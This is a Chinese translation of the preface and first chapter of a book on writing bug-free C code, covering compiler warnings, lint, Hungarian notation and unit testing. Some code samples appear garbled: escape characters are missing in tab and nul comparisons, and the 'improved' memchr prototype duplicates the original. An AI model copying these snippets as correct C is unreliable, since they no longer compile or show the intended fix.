作者前言

作者前言

1986年，在替小公司担任顾问工作十年后，我特地跑到微软公司工作，以取得写作麦金塔应用程序的经验。我加入了微软的Excel团队，负责开发这家公司的图形电子表格应用程序。

我不确定之前我预料程序会长什么样子－迷人的或优雅的，我以为。结果我看到的是很普通的程序代码，就像天天看到的那种，跟我以前见过的没什么太大的不同。当然，这套电子表格有个神奇的使用者接口－比起当时任何其它文字模式的电子表格来说，要来得直觉好用多了。但是更让我印象深刻的，是这套产品里头内建的扩充性除错系统。

系统本身碰到错误时会自动警告程序员跟测试者，跟波音七四七客机驾驶舱碰到故障时警告飞行员的警告灯号大同小异－这个除错系统与其说是用来测试系统的，不如说是用来监督系统运作的。这套除错系统没什么新观念，可是这套系统使用的程度与它侦测错误的效率还是给了我很大的冲击──而且在程序员间对程序出错的来龙去脉有着显著的警觉性。

在我去帮助微软其它写出愈来愈多程序臭虫的小组之前，我在麦金塔版的Excel部门待了两年。我发现在我专心投住于Excel工作的这两年里，微软公司的大小已经扩大了三倍，而在公司快速成长时加入的新开发小组的成员们并不知道许多在老程序员间广为流通的程序写作观念。对于易于出错的程序写作方式，新程序员们不再拥有显著的感触，而认为那是稀松平常的事－那也是我在加入微软之前的那些年里在其它程序写作者间看到的态度。

在我加入其它小组六个月后，我对一伙程序员谈起，应该要有人把写出零错误程序的观念纪录起来，这样才能让新成立的小组了解这些道理。其它程序员看着我，然后说，"你看来不介意作这件事；为何不就由你来写下这些东西呢？事实上，为何你不把它写成一本书，看看微软的出版部门愿不愿意出这本书呢？再说，这些信息没有半点是我们自己的东西；这样的东西只会让程序写作者更能察觉问题的存在。"

对这些意见，我没考虑太多，主要是我当时没时间，而且我没写过书－我最多只在1980年代的Hi-Res杂志上跟人合写过一个程序设计专栏而已，这跟写书并不能相提并论。

不过如你所见，这本书写出来了，而且理由很简单：1989年，微软公司取消了一套未公开的产品，只因为满天乱飞的程序臭虫。现在，臭虫满天飞早就不稀奇了－微软公司的几个竞争者也因为臭虫而取消过产品计划。不过这还是微软公司第一次因为这个理由取消推出一个产品，而且这也是一连串臭虫横行的产品中最新的一个，管理阶级终于讲话了，"够了！"，它们采取了一系列行动让程序错误发生率回到原先的水准。不过，还是没人负责将这些行动的细节与概念写出来。

那时候，这家公司已经比我刚进去时要大九倍了，而我实在看不出来，如果没有明文规范，公司内的程序写法怎么让程序问题出现率回到当初的水准，尤其当我考虑到写Windows跟麦金塔应用程序那渐增的复杂性时。所以，最后我终于决定了，把这本书写出来。微软的出版部门Microsoft PRess同意出版这本书。然后这本书就在你眼前了。

我希望你能看这本书来获得乐趣，我已经试着让它既有内容又有趣啰。

感谢词

谢谢Microsoft Press帮我完成这本书的各位同仁，特别是从头到尾支持我的那两位。首先我想谢谢Mike Halvorson，我的编辑，让我将这项计划以自己的速度进行，并耐心回答我这个第一次写书的人许多问题。我要特别谢谢Erin O'Connor，我的打字编辑，给了我这些篇章的早期回馈意见，如果没有他的帮忙，这本书就不会出现了。Erin也鼓励我用自己的方式放松心情，当然她对文字中的小笑话的嘲笑也就无伤大雅了。Jeff Carey好好校对过了我的构想跟程序代码，而Kathleen Atkins给了许多好意见。

我也要感谢我的父亲，Joseph Maguire，在1970年代中期带我见识了第一批微电脑：Atlair，IMSAI跟Sol-20. 他对我踏入这个行业有最大的影响。Evan Rosen，我从1981年到1983年在Valpar International工作的伙伴，对我有很大的影响，而他的知识与见解也出现在本书中。Paul Davis，我过去十年在全国东奔稀跑进行的各项计划里乐于共同合作的工作伙伴，也在显著的地方对我的思想起了定形的影响。

我想感谢那些花时间读过本书草稿，并给了技术性意见的人们：Mark Gerber，Melissa Glerum，Chris Mason，Dave Moore，John Rae-Grant和Alex Tilles. 我特别要感谢Eric Schlegel与Paul Davis，他们不只检阅过本书草稿，之前还帮我敲定了本书的细节。

1992年十月二十二日，于华盛顿州，西雅图


序

序

几年前，我拿到一份TEX：Donald Knuth写了这个程序，而这程序的前言让我大吃一惊：

我相信TEX的最后一只虫已经在1985年十一月二十七日被发现而且修正了。不过，如果程序中还有些错误，我将很乐意付出一笔20.48美金的发现奖金给第一个发现它的人。（这两倍于之前的金额，而且我计划每年增加一倍金额；如你所见，我真的很有自信。）

我不知道Knuth有没有付给人20.48美金或40.96美金；那并不重要。重要的是Knuth对自己程序品质的自信。你认识多少个程序写作者敢正经声明说他们的程序是完全没错误的？多少人敢发表这样一份声明，然后提供一份臭虫发现奖金的？

真正相信测试小组能找到所有问题的程序员们敢作出这样的声明，不过这就是问题所在了。你已经听过多少次程序员们在程序推出、包装好、发行给经销商前说，"我希望测试人员已经找到所有的问题了"？他们只敢交叉手指，祷告说一切都会维持在最好状态。

今天的程序员们不确定他们的程序是否毫无错误，因为他们已经放弃彻底测试自己程序的责任了。管理阶层并没有说过像"不要担心测试你们程序的事－测试员会帮你测试"的话，而且更不可思议的，他们虽然期望程序员测试自己的程序，但是却预期测试员能测试得更通盘些；因为这整个就是测试员被找来作的事。

本书的目的是说明程序员如何重新负起写出零错误程序的责任。那不表示程序必须在第一次写出来就达到完美状态－而是让一样产品在第一次进行测试前就已经达到零错误的程度。有些程序员也许会怀疑的嘲笑这个想法，不过本书示范的技巧与提供的准则还是可供作程序员们迈向那个目标前进之用。

两个关键问题

写出零错误程序的最关键需要是能够理解什么东西造成了臭虫的出现。所有本书中提到的技巧与准则都是程序写作者们针对每个在自己程序中发现的问题，年复一年、一遍又一遍询问底下两个问题后的产物：

? 我怎样自动找到这种问题？

? 我怎样预防这种问题的出现？

"多测试些"是对这些问题的简单答案，但是那并不是个"自动"的答案，也不真的是个预防性的解答。如"多测试些"的答案普遍得一点也不带劲－这类型的答案一点用处也没有。解决这些问题的良好答案来自于用来消除我们碰到的这些问题的特殊技巧。

本书专门提供被找来减少或完全消灭整类程序臭虫的技巧与准则。有些做法完全违背常见的程序写作方式，但在你拿"每个人都违背这些准则"或"没人遵守这种东西"当作驳斥它们的理由前，先自己停下来好好想想。如果是"没人遵守这种东西"，那人们为何会不遵守它呢？自己好好确认一下人们为何不照著作的理由，这理由是不是合宜的。在FORTRAN语言当道的那个年代有意义的做法在现在未必有意义的。

这并不是说你应该盲目遵循本书的指示，这些指示并不是常规。太多程序设计者将"不要使用goto叙述"这样的指示当成由上帝所说那不可违背的戒律。当问起我们为何如此强烈排斥goto时，人们说那样子会让程序代码盘根错节得难以维护。可是经验老到的程序写作者经常加上触怒编译器程序最佳化功能的goto叙述。其实，两种做法都是合宜的。有些时候，谨慎的使用goto还能大大增进程序的清晰性与效率，照着"不要使用goto叙述"的指示去作反而会让程序代码变得更差而非更好。

本书中提供的准则也没什么不同：它们大部分时候应被遵从，但也有为了得到更佳结果而违背的时候。

除了这些准则与技巧，本书大部分的篇章都在结尾有段"该想想的东西"。这些段落里的问题探索了那些章节前头未曾提到的东西。这些问题不是习题－它们并不是用来测验你对该章节的了解程度的。我试着在每个问题里头介绍一个新观念，而且我提供了整组的答案来尽可能的传递更多讯息。如果你经常跳过习题不作，那考虑看看 附录C <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_104> 里头的习题解答吧，这样你才不会遗漏任何我在这些段落里所要介绍的技巧或准则。

建立在现有基础上

用C语言写了一阵子程序的程序员们都知道他们应该在宏定义的参数前后加上括号；他们知道字符串后头有看不见的nul字符；他们知道C语言中的数组元素注标是从0开始而不是从1开始；他们也知道必须用break叙述来避免switch的一个状况执行完后跑去执行别的状况的处理叙述。这些认知与其它对C语言的错误认知经常是程序臭虫的根源，不过在本书的讨论中，你不会找到这些问题的讨论，除非它们包含在我所要提到的一些东西的一部份讨论里头。我试着将内容集中在鲜为人知或少见于市面上，你很少能在程序写作的教科书中或是程序设计的训练课程里学到的零错误程序写作技巧上。

我不曾试着重新整理Brian Kernighan跟P.J. Plauger合箸的程序设计经典Elements of Programming Style书中已提到而广为人知的那些准则。虽然Kernighan跟Plauger在他们的范例中使用FORTRAN与PL/I，他们的准则－只有一小部份例外－还是可以用到任何程序设计语言上，包括C语言在内。本书建立在Elements of Programming Style确立的基础之上，而且依循着类似的风格。

最后，虽然本书是为有着真实时间底线的真正程序写作计划的专业程序员们所写的，对于高等C语言程序设计课程的学生们一样适用。有些修过编译器课程的学生会写出自己的编译器，不过大部分人会专注于写出零错误程序上。我希望本书能够给予学生在毕业后写出有着成品水准的稳固程序所需的技巧。

什么是麦金塔？

有时一本书如果不提到PDP-11，IBM 360或其它的老古董，几乎就引不起别人的重视。所以我才在这里提到这些老古董，而本书之后就完全不会再提到它们啰。本书中你最常看到的计算机系统是MS-DOS，Microsoft Windows，以及苹果公司的麦金塔计算机，尤其是麦金塔－因为我最近才在这些系统上头写过程是。

你也会在本书中听到许多Microsoft Excel与Microsoft Word的发展历史。Excel是微软公司的图形化电子表格程序，原先是为麦金塔计算机而写的，后来又明显改写、整理并加强过，移植到Windows平台上。

本书从头到尾，我都会谈到我身为一名麦金塔版Excel程序写作者的经验，不过我必须承认我将大部分的时间花在把Windows版的程序代码移植成麦金塔上执行的版本跟实作相似于Windows版Excel已经有了的功能上，这套产品的杰出成就跟我在这套产品中出的力不太相关。

我对麦金塔版Excel的唯一策略贡献是说服了微软当局停止发展麦金塔专门版的Excel，而从改良许多了的Windows版Excel的原始码直接建立起麦金塔版的东西。麦金塔版的Excel 2.2是第一个从Windows版的Excel移植而来的版本，有80%的原始码是相同的。这对麦金塔版的Excel使用者来说是一大改善，因为从2.2版中，它们可以看到功能与品质上的重大突破。

Word是微软的文书处理应用程序。实际上，有三个版本的Word：文字模式的MS-DOS版Word，麦金塔版的Word与Windows版的Word。当我写这本书时，这三套产品依然是从不同的原始码产生出来的，不过每个版本对于大部分使用者来说都还是挺像的，它们可以以同样的操作方式来使用这三个不同的版本而不会碰到什么障碍。不过，所有版本的Word最后都会从共通的原始码产生出来，这项工程正在进行中。（译按：现在市面上的麦金塔版与Windows版的Word应该都是从同样的原始码产生出来的了。）

程序代码的写法

即使不是MS-DOS，Microsoft Windows或苹果麦金塔的专家也可以看懂本书的程序代码－这些程序都是直接用C写成的，应该可以在任何ANSI C的开发系统上编译与执行。

不过，如果你是个主机程序员或者在微电脑的程序设计上没有什么经验，要留心微电脑的操作系统还很少有支持内存保护措施的。你可以透过NULL指针进行内存读写，乱填堆栈框，或是在内存中到处乱丢垃圾－即使是属于其它应用程序的内存－而硬件在你作这些事情时并不会提出任何警告。如果你原先认为"硬件要会抓出这种问题"，那是你原来的程序发展环境刚好幸运的是个有着强力保护措施的系统而已。并不是所有的程序员都如此幸运的。

在好几个地方我用到了一些不太合乎标准要求的ANSI C程序酷函式。例如ANSI C版本的memchr函式将字符c宣告成int变量：

void *memchr(const void *s，int c，size_t n);

内部运作上，memchr将这个字符当成无正负号的unsigned char字符，但是字符为了后向兼容于ANSI标准颁布以前那没有雏形宣告时代的原始码，被宣告成了有正负号的int有号整数。由于我在本书从头到尾都使用ANSI C语法，我将这些后向兼容的细节完全拋弃，为了让语法清晰与符合较强势的型态检查，而使用了更精确的变量型态。在第一章中，我会更详细解释为何这么做是必要的，不过现在只要记住并不是所有的"标准"函式都是精确照着标准写出来的。你将经常看到memchr的函式中引用的字符变量被宣告成了char而非int：

void *memchr(const void *pv，unsigned char ch，size_t size);

译注：在现在的Mac OS，Windows 95/98/NT上都提供了内存保护的支持，不过有时候操作系统实作会为了效率与方便上的需求，在内存保护的支持上打出许多大洞，这也是为何写错了的程序还是可以很轻松的把这些支持了内存保护的微电脑操作系统当掉的原因。

那些冗长难懂的名称是作什么用的？

现在你大概已经概略翻阅过这本书，并注意到程序代码列表里那许多长得很奇怪的变量与函式名称，如常见的pch，ppb与pvResizeBlock。

虽然像pch这样的名称看来有趣而且难念，它们还是表达了些讯息－只要你了解这种由Charles Simonyi在1970年代早期发展出来的"匈牙利"命名规则（Huangarian Naming Convention），这种命名规则的前提是让一个变量名称除了代表一个变量本身以外，更重要的是让检阅程序代码的人能够了解一个变量存在的意义。

我在本书中使用的简化版匈牙利命名规则的细节相当简单。对你程序中每种资料型态的变量，你拿这资料型态的缩写作为变量名称的一部份命名。这不算什么重大突破－写程序的人们老早就习惯了把他们的字符变量叫做c或ch，字节变量叫做b，整数变量叫做i等等的做法，匈牙利命名规则只是强制标明了程序中每一种资料型态的变量。例如：

char ch; /* 一个简单的字符 */

byte b; /* 一个字节，也可以代表无正负号的字符 */

flag f; /* 永远为TRUE或FALSE的旗标 */

symbol sym; /* 某种符号结构 */

这种做法并不指定资料型态的缩写该长什么样子－只要在程序中能够前后一致的表示同个资料型态就好了。

指针变量带来了一个有趣的问题，它们总是指向别的资料。对于这个问题，匈牙利命名规则要求所有指针变量的名称都以p开始，接着它们指向的资料型态名称的缩写。如果你要宣告指向上头那些资料的指针，你就会写成如底下这样：

char *pch; /* 一个字符指针 */

byte *pb; /* 字节指针 */

flag *pf; /* 指向自己型态的指针等等 */

symbol *psym;

指向其它指针的指针也跟指向一般资料型态的指针没什么太大的不同－只是在变量名称之前再多个p而已。对于一个指向字符指针的指针，它的名称就是在pch之前再多个p：

char **ppch; /* 指向一个字符指针的指针 */

这种照着匈牙利命名规则接起来的资料型态用法不好念，不过这命名规则允许程序员在变量型态的缩写之后接上一两个有描述作用的单字－每个都以大写字母起头。这不只增进了可读性，也易于分辨两个变量型态相似的变量。以strcpy函式为例，使用两个字符指针作为参数，函式的雏形宣告应该如下：

char *strcpy(char *pchTo，char *pchFrom); /* 函式雏形宣告 */

有另一点要提的，匈牙利命名规则的用途在于增进变量使用的可读性，注重资料型态所代表的意义更甚于它们实际宣告的形式。虽然strcpy的两个参数都宣告成指针变量的型态，但更重要的，它们指向以零字符结尾的字符串。将strcpy的两个参数以pch开头命名是对的，但是以str命名的话，会更有意义：

char *strcpy(char *strTo，char *strFrom); /* 函式雏形宣告 */

两个以str起头的变量仍然是字符指针，但是当你看到这些名称时，你知道它们是比较特别的字符指针－它们指向字符串。函式与数组名也依循同样的命名规则－它们以传回的型态接着一个描述性的卷标命名。在正式的匈牙利命名规则中，函式名称永远以大写起头，但在本书中，我为了一致性，将命名方式加以统一；命名时的大写用法在函式名称、数组名及变量名称之间并没有什么不同。如果把标准的malloc跟realloc函式写成匈牙利命名规则的形式，它们的函式雏形宣告将如下：

void *pvNewBlock(size_t size); /* 函式雏形宣告 */

void *pvResizeBlock(void *pv，size_t sizeNew); /* 函式雏形宣告 */

使用匈牙利命名规则的一个好处是易于解读指针表达式。例如，你在本书中看到许多指向指针的指针，特别是ppb的：

*ppb = pbNew;

虽然这段程序代码可能在第一次看到时让人看不懂，一旦你了解你可以拿掉这种表达式中的*跟p后，你就能简单了解这种表达式是用来作什么的了。如果把上头这表达式中的*跟一个p拿掉，你得到

pb = pbNew;

由于资料型态吻合－都是pb－你知道这个表达式是正确的。&跟->也可以跟p一起拿掉。考虑下面的叙述：

pb = & b;

b = psym->bLength;

把第一个叙述中的p跟&一起拿掉，你会得到一个把字节变量的值指派给一个字节变量的叙述，而你知道这样的表达式是合法的。接下来第二个叙述，如果你把p跟->拿掉，你也会得到把一个字节变量的值指派给一个字节变量的叙述：b = sym.bLength. 这种称作"型态运算"的做法简化了拆开复杂的指针表达式的难度。

虽然匈牙利命名规则还有很多部分没提到，这里提到的大略足够让你看懂本书中的程序代码了。

想知道更多？

本书中采用的简化版匈牙利命名规则与Charles Simonyi发展的完整版本完全不能相较。pch[]是个pch的数组呢，或者它只是个指向一个字符数组的指针呢？在我用的简化版匈牙利命名规则中，你得看过这变量的宣告后才能确定是哪一种，但在完整版的匈牙利命名规则中完全没有这种状况与其它模棱两可的情形。我使用简化过的版本，只因为这么做比较简单，而且本书中不会碰到那些模棱两可的情形。对于只使用Charles Simonyi那定义完整的命名规则的一小部份，我在此道歉。

匈牙利命名规则并不适用于所有人。有些人会认为这么做在结构化程序设计中是最好的；其它人则只是因为因为个人感觉而讨厌它，两派人马各有主张。如果你觉得匈牙利命名规则有意思，你想深入了解一下，你可以在Charles Simonyi的博士论文："Meta-Programming: A Software Production Method"（Standford University，1997; Xerox Palo Alto Research Center，1997）中找到找到这种命名规则的完整讨论。

什么东西才算程序臭虫？

在我们开始第一章那种假想中会帮你抓虫的编译器的讨论前，我应该稍微解释一下本书所要消灭的程序错误的种类。我了解你晓得程序错误是什么－我不需要为读这本书的人定义什么叫做臭虫吧？不过在本书中，我对两种程序错误作了分类：你在写出一个功能时产生的臭虫，跟你认为你的程序已经完成了以后仍然存在的臭虫。

许多软件工作室使用原始码控制系统来简化程序发展。一名程序员大致以查阅图书馆中藏书的方式来找寻需要修改的档案，唯一的不同点在于，程序员找到的是档案的一份复制品，而不是档案本身。这让程序员可以写作新功能而不用碰到原始码正本。一旦程序员完成了这个新功能，而且确定程序中没虫了，这档案就被放回去更新，原始码控制系统据此更新原始码正本。

在这种做法之下，一名程序员不必在乎自己写作新功能时究竟产生了多少错误，只要所有的错误在新程序代码归档进原始码正本前都被抓出来了就好。

本书中我所要讲的"臭虫"，是指那些存在于原始码正本里头的，那些对推出的产品造成伤害，而且会影响到消费者的那种。我不期望程序员们每次坐在键盘前面时都能写出毫无缺点的程序，但是我相信避免让臭虫出现在原始码正本中是办得到的一件事。

接下来的篇章里所出现的准则与技巧说明了如何写出这样的零错误程序。


全能編譯器

全能編譯器

想象一下：如果编译器可以找出你程序中的所有问题，那你的程序还会有多少错误在里头？我并不是在说语法错误而已，而是所有问题，无论是多么隐匿的问题。

如果你犯了个笔误，而编译器能找到它，而且能给你一个如下的错误讯息：

->line 23: while (i <= j)

^^

Off-by-one error: This should be '<'

或编译器能在你的算法中找到错误：

->line 42: int itoa(int i, char *str)

^^^^

Algorithm error: itoa fails when i is -32768

或假设编译器能在你传入错误参数时提醒你：

->line 318: strCopy = memcpy(malloc(length), str, length);

^^^^^^

Invalid argument: memcpy fails when malloc returns NULL

好吧，这也许有点牵强，不过如果编译器作得到这点，你想要写出无错误的程序会事件多么容易的事呢？至少跟一般程序员所经历过的写作过程比起来，那不会变得很简单吗？

如果你从间谍卫星的摄影机偷看一间普通的软件工作室，你会发现程序员们龟缩在他们的键盘前面追踪已知的程序错误，而另一边，你会发现测试人员正在程序的最新内部测试版上找寻臭虫，用奇奇怪怪的招式输入垃圾，等着捕捉错误。你甚至可能发现测试人员正在检查有没有老问题又浮现台面了。如果你认为这种找寻程序错误的方法比起使用一套假想编译器来捕捉错误要花费更多努力，你说得没错；除了努力，还需要许多运气。

运气？

是的，运气。当一名测试人员发现一个问题，难道不是因为他或她注意到某些数字错了，或某个菜单现不如预期，或者程序当掉了吗？再看一下假想编译器告诉你的那些错误讯息。有测试人员在程序执行时能够看得到那个运算子的笔误吗？他们又如何能看到另外两个错误呢？

这听来吓人，但是测试人员在丢东西喂给程序时，会希望有些隐藏的错误自己跑出来。"对啦，可是我们的测试人员比起那一种测试者更出色。他们使用程序代码涵盖测试工具，自动化的测试套件，随机攻击程序，显示捕捉功能，还有许多其它的工具。"也许这样子说得没错，但是看看这些工具能作什么吧。涵盖分析告诉测试者，程序的哪个部分还没测试过；测试人员用这些讯息来检查你程序的新输入跟产生的结果。然后其它工具只是自动化了"敲敲看会不会有反应"的找寻问题策略。

不要误解我，我不是说这些测试人员作错了。我是在说，把程序当成个黑箱子来测试是件困难的事情，因为测试者所能做到的就是喂给程序一些输入，然后等着看有什么东西跑出来。就好象在判断一个人是不是疯了一样，你发问；你听取答案；然后你作出判断。最后，你永远不能真正确定结果，因为你不知道在另一个人脑袋里到底有些什么东西正在运作中。你永远会怀疑，"我问够问题了吗？我问对问题了吗？"

不要依赖于黑箱测试。试着模仿一个全能编译器，消除运气成分，争取每个自动找到问题的机会。

注意你用的语言

你上一次看到一份顶尖的文书处理器的广告是哪时候？广告商的说辞大概会长得像这样："无论你在写信给小孩的老师或是构思下一部伟大的英文小说，WordSmasher都能不费吹灰之力办好它，而且找到您作品中的笔误。本程序提供惊人的233,000字拼字辞典－比其它竞争软件至少多出51,000字。现在就去店里头买份WordSmasher，这个从原子笔发明以来最具革命性的写作工具。"

身为使用者，我们已经被行销宣传骗得相信拼字辞典愈大愈好，但这是不对的。在任何纸制字典中，你都能找到em，abel跟si这些字，但是你真的希望你的拼字检查器允许这些字在更常见的me，able跟is之间出现吗？如果你在我写的东西里头看到suing这字，这种天文奇迹般的错误一定是我把using写错了。我不在乎是不是真的有suing这个字；至少，在我的文章里，那是个错字。

幸运的，高级拼字检查器能让你从字典中删除如em般讨厌的字，让你能够将那样的字当成错字处理。好的编译器也是一样－它们能够你标示一些可视为合法的C语言用法，因为这些用法通常被用错了。这样的编译器可以侦测到底下这个while循环中放错了的分号：

/* memcpy - copy a nonoverlapping memory block. */

void *memcpy(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte *)pvTo;

byte *pbFrom = (byte *)pvFrom;

while (size- > 0);

*pbTo++ = *pbFrom++;

return (pvTo);

}

你能分辨出缩排之后的那个分号是错的，可是编译器看到的是一个没作任何事的white叙述，这是完全合法的。你有用到空叙述的时候，也有不会用到的时候。要捕捉到一个非你想要的空叙述，编译器通常提供了一个警告选项，如果你用了它，就会在碰到类似这样的错误时警告你。而当你真的想要用到空叙述时，你也可以依照编译器使用手册中建议的翻译避开它－用个会在程序代码最佳化时被移除的常数表示式（如NULL;），或使用空白区块{ }，或使用其它编译器支持的解决方案。我在这里使用{ }。

char *strcpy(char *pchTo, char *pchFrom)

{

char *pchStart = pchTo;

while (*pchTo++ = *pchFrom++)

{}

return (pchStart);

}

结果：

你得到了空叙述提供的弹性，而编译器将你不想要的空叙述自动当成错误。不允许一种空叙述的存在与为了统一使用zeroes的拼法而将zeros从拼字辞典中删除差不了多少。

另一个常见的问题是无意间错用的指派叙述。C的弹性让你能在表达式的任何地方使用指派叙述，不过如果你不够小心，这样额外的弹性将会造成你的困扰。让我们来看个常见的错误：

if (ch = t')

ExpandTab();

虽然这程序代码很清楚的是用来比较ch是不是制表符，它真正作的却是将ch的内容设定为这个字符。当然编译器不会产生任何错误，因为这段程序代码合乎C语言的语法。

有些编译器可以让你禁止简单指派叙述出现在&&跟||表达式间与如if，for跟while等其它控制表达式中，帮你抓到这样的错误。这个功能背后的点子是，如果一名程序写作者不小心把==打成了=，就可以从上面那五种状况中捕捉到这种错误。

这样的选项不阻止你在表达式中对变量内容进行设定，但你必须明白指定一个值如0或nul字符来进行比较，才能避开这种警告。因此，回到前面那个strcpy的例子，我们不把循环写成底下会产生警告讯息的这样子

while (*pchTo++ = *pchFrom++)

{}

而是写成底下这样子：

while ((*pchTo++ = *pchFrom++) != 0')

{}

还好现在的商业版编译器不会对这种比较表达式产生额外的程序代码，因为这是多余的，可以被最佳化略掉的。你可以放心依赖有这类警告选项的编译器提供的最佳化功能。再一次的，这样的想法是禁止有安全替代方式的危险性程序写法被使用，即使两种写法是合法的。

另一类型的错误属于"参数错误"的类型。好几年前，当我还在学C语言时，我习惯这样子用fputc：

fprintf(stderr, "Unable to open file %s.", filename);

.

.

.

fputc(stderr, '');

这样子看来还好,可是fputc的参数顺序不对。不知道怎么搞的，我以为档案资料流指针（stderr）永远是任何档案资料流处理函式的第一个参数。这是不对的，所以我经常丢垃圾给这些子程序。幸运的，ANSI C提供了自动捕捉这类错误的编译方法：函式雏形宣告。

由于ANSI标准要求所有链接库函式都有雏形宣告，你可以在stdio.h这表头档中找到fputc的雏形宣告，它应该长得像这样子：

int fputc(int c, FILE *stream);

如果你将stdio.h包含进档案里，并呼叫了fputc，编译器就会比较你传入的每个参数是不是预期的那样子，如果型态不一致，它就会产生错误。在我的例子中，由于我是在一个int参数的位置传入一个FILE *参数，雏形宣告检查就会捕捉到我早期犯下的fputc错误。

ANSI C会要求标准函式要满足雏形宣告的要求，可是它不要求你我所写的函式也同样有着雏形宣告：那纯粹是选择性的。如果你想在自己的程序代码中找到参数使用的错误，你就必须维持一份最新的函式雏形宣告。

现在我听到有程序员抱怨必须维护雏形宣告的更新，特别当他们将使用传统C语言写的项目移植到ANSI C的开发平台时。这样的抱怨有时是情有可原的，可是仔细想想：如果你不使用雏形宣告，你就得仰赖传统的测试方法，期望这样子可以在你的程序中捕捉到任何参数使用的错误。问问你自己，哪样子比较重要？是替你自己省下一些维护功夫重要，还是能够在你编译程序代码时捉到错误重要？如果你还不能决定，考虑一下使用雏形宣告可以产生更好的程序执行码，因为：ANSI C标准允许编译器依据雏形宣告的信息进行程序最佳化。

强化雏形宣告

不幸的，雏形宣告不能在你把两个相同型态的参数弄反时警告你。例如，如果memchr函式有这样的雏形宣告：

void *memchr(const void *pv, int ch, int size);

你可能会把ch跟size两个参数弄反了，而编译器不会发出任何警告。不过如果在你的接口与雏形宣告上使用更精确的资料型态，你就能强化雏形宣告所提供的错误检查。例如，底下的雏形就能在你弄反了ch跟size两个参数时警告你：

void *memchr(const void *pv, int ch, int size);

这样的缺点是得使用更精细的资料型态，让你得经常把参数转型成必要的资料型态－即使它们的顺序是对的－来避开这种不重要的型态不符警告。

在传统C语言中，编译器在编译时对于档案外头的函式没有那么多信息，可是它还是需要产生呼叫这些函式的程序代码，而这些呼叫显然必须生效。编译器作者使用了一种正规化的呼叫方式来解决这个问题，这么做虽然让函式呼叫一定生效，但是编译器却经常需要产生额外的程序执行码来支撑这种做法的运作。不过如果你打开编译器的"所有函式都要有雏形宣告"的警告选项，编译器就可以它认为最有效率的呼叫方式来产生执行码，因为它知道程序中每个函式的参数用法。

空叙述警告，错误指派警告，以及雏形宣告检查都只是许多C语言编译器中都能找到的选项；通常它们提供更多警告选项。选择性编译器警告的重点在于让你了解哪些地方可能有错误，就像一个拼字检查器告诉你哪边可能有拼错字一样。

Peter Lynch，可以说是1980年代最棒的共同基金经理，曾经说过投资者跟赌客的差别在于投资者把握所有机会，无论机会多小，来让优势倾向自己；而赌客，在他看来，只依靠运气。将这观念套到程序写作上，打开所有选择性的编译器警告讯息吧。不要问"我应该打开这个警告选项吗？"而是问"为什么不打开这个警告选项？"除非你有个很好的理由，不然把每个警告讯息都打开吧。

打开所有选择性的编译器警告。

lint－这东西还不错

一个几乎不费事而更完美的错误找寻法是使用lint，这本来是个用来检查C语言原始码档案，然后报告原始码中有哪里缺乏移植性的工具。不过现在，大部分的lint工具都更完美许多，不只是能够标示出有移植性问题的程序代码，还能找出虽然具可移植性而且看来完全合法，却似乎有问题的语句写法。无意留下的空叙述、错误的指派叙述跟呼叫参数错误，这些前面段落里提到的错误都在它的捕捉范围内。

不幸的，许多程序员还是将lint当成会吐出一大堆他们不在乎的警告讯息的可移植性检查工具而已；这个工具的恶名让人裹足不前。如果你就是这样子误解lint的程序员之一，也许你应该重新评估你的意见了。不管怎么说，你觉得哪个工具比较贴近我们稍早讲的假想编译器？是你用的编译器，还是lint？

事实上，一旦你将原始码丢给lint检查过并把它修改成一点警告讯息也不会出现的样子，要让它继续维持让lint一点也找不出错误是很简单的－只要在你把修改过的程序更新到原始码正本以前，先跑一遍lint就好了。一两个星期后，你不用想太多就写得出来lint找不出半点错误的程序代码了。当你达到这个目标后,你就学到lint提供的所有优点，而不会有半点头痛了。

用lint来抓你的编译器可能漏掉了的错误。

可是我改的都很简单

有次我跟本书一位技术检阅者一起吃午餐，它问我要不要加上一段单元测试的内容。我说我不想，因为单元测试虽然跟写出零错误程序有关，不过那实在应该归类到别类去：如何设计程序的测试。

他说，"不，你误解我的意思了。我以为你正想指出程序员该在将他们所修改的程序代码更新到原始码正本之前，实际进行单元测试。我团队里的一名程序员才刚让一只臭虫溜进我们的原始码正本里，因为他没在改过东西后进行单元测试。"

这真是令人惊讶，因为大部分微软的项目领导者都期望程序员在将改过的东西放进原始码正本以前进行单元测试。

"你问过他为何不作测试吗？"我说。

我的朋友从吃饭中抬起头看。"他说他没写任何新东西－他只是搬动了一些老程序。他说他没想过他需要测试一下。"

这故事让我想起，有个程序员在改过东西后，连编译都没作，就把程序代码更新到原始码正本里头。这问题是我发现的，因为我没办法不碰到错误就让这程序项目编译过关。当我问那名程序员他怎么漏掉一个编译错误的，他说，"这修改很简单，我不觉得我会犯错。"

没有任何一个这样的错误应该出现在原始码正本里，因为这些都是可以被自动捉到的错误，几乎不用费任何力气就可以捉到了。为何程序员们会犯下这些错误？主要是因为他们对于自己正确写出程序的能力太具自信了。

有时你会觉得你可以略过一个预防错误的设计，但当你抄快捷方式时，你就是在找麻烦。我想有许多程序员写好程序后根本连编译一下都没有－我只是刚好碰到了一个－只因为略过单元测试的诱惑强了些，谁叫他们修改的部分都很简单呢？

如果你发现自己想要跳过一步可以简单找到错误的步骤，最好停下来，并且搬出每个你用得了的工具来好好检查一番。单元测试是用来抓臭虫的，可是如果你把它略掉了，当然就什么虫都抓不到了。

有单元测试就作，不要跳过去。

没蛋卷啰

你认识多少个程序写作者喜欢花时间找寻错误跟修正臭虫而不是花时间写新的程序？我确定有这样的程序写作者，不过我从来也没碰到过。如果跟我认识的程序员们说他们不用再找别的臭虫了，他们谁也不愿意把中国菜叫外带冷掉的一点也不好吃。

当你写程序时，将本章所说的假想编译器的观念记在心里，把握每个自动或者不需费劲就能抓到错误的机会。想想编译器发出的错误讯息，lint发出的错误讯息，跟单元测试的失败。你需要什么技巧来找寻这些错误？几乎什么也不用。如果没有臭虫需要高深的技巧或重大努力就能找到，那还会有多少错误出现在你推出的产品里头？

如果你想快速而简单的找到程序中的错误，使用那些你的程序发展工具提供来告诉你哪边有错误的功能吧。你愈快知道哪边有错误，你就能愈快修好它们，并且进行下一件更有趣的工作。

快速回顾

? 最好的程序除错方式就是尽早而且尽可能简单的找到错误，采用花最小力气的自动错误捕捉方式。
?

? 努力减少程序员捉到错误所需的技巧量，编译器的选择性警告或lint的警告讯息不需要任何程序设计技巧就能捉到程序错误。

该想想的事

